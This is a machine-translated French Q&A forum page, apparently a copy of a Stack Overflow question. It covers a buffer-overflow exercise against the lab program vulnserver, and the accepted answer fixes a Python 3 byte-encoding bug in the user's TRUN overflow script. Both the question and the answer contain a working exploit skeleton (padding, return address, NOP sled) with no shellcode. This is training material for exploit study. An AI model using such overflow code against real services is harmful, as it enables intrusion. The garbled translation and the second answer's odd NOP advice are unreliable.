2016-02-17 2 views
0

Je travaille actuellement sur un test de débordement de tampon sur l'application vulnserver. Débordement du tampon avec des valeurs hexadécimales de A semblait être passé dans le programme sans problème. Le PIE a été remplacé sans problème. Cependant, lorsque je commence le sloop NOP, après chaque valeur NOP, une valeur hexadécimale C2 est passée après. Je ne sais pas pourquoi cela arrive. J'ai la décharge hexagonale pour vous montrer exactement ce que je veux dire:Vulnserver - Dépassement de tampon Les caractères NOP ne sont pas transmis correctement

enter image description here

Voici le script python que je utilise pour créer le trop-plein:

import socket 
 

 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
 

 
s.connect(("127.0.0.1",9999)) 
 
buff = '\x41' * 2006 
 
shellcode = ... 
 
nop = '\x90' * 16 
 

 
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly. 
 
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop 
 
s.send(overflow.encode())

I Je me demande si l'erreur se produit quand python est en train d'encoder/envoyer les paquets ou si cela se produit simplement à cause de la façon dont vulnserver a été écrit.

Répondre

2

Votre problème est dû à vous utilisez Python 3.

La méthode .encode() est la cause de votre problème.

Essayez ceci:

import socket 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

s.connect(("127.0.0.1",9999)) 
buff = b'\x41' * 2006 
shellcode = b'...' 
nop = b'\x90' * 16 

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly. 
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop 
s.send(overflow) 
0

\ xC2- \ x90 = \ x32. Avez-vous essayé d'envoyer votre traîneau nop comme \ x5E \ x90 \ x5E \ x90 \ x5E \ x90?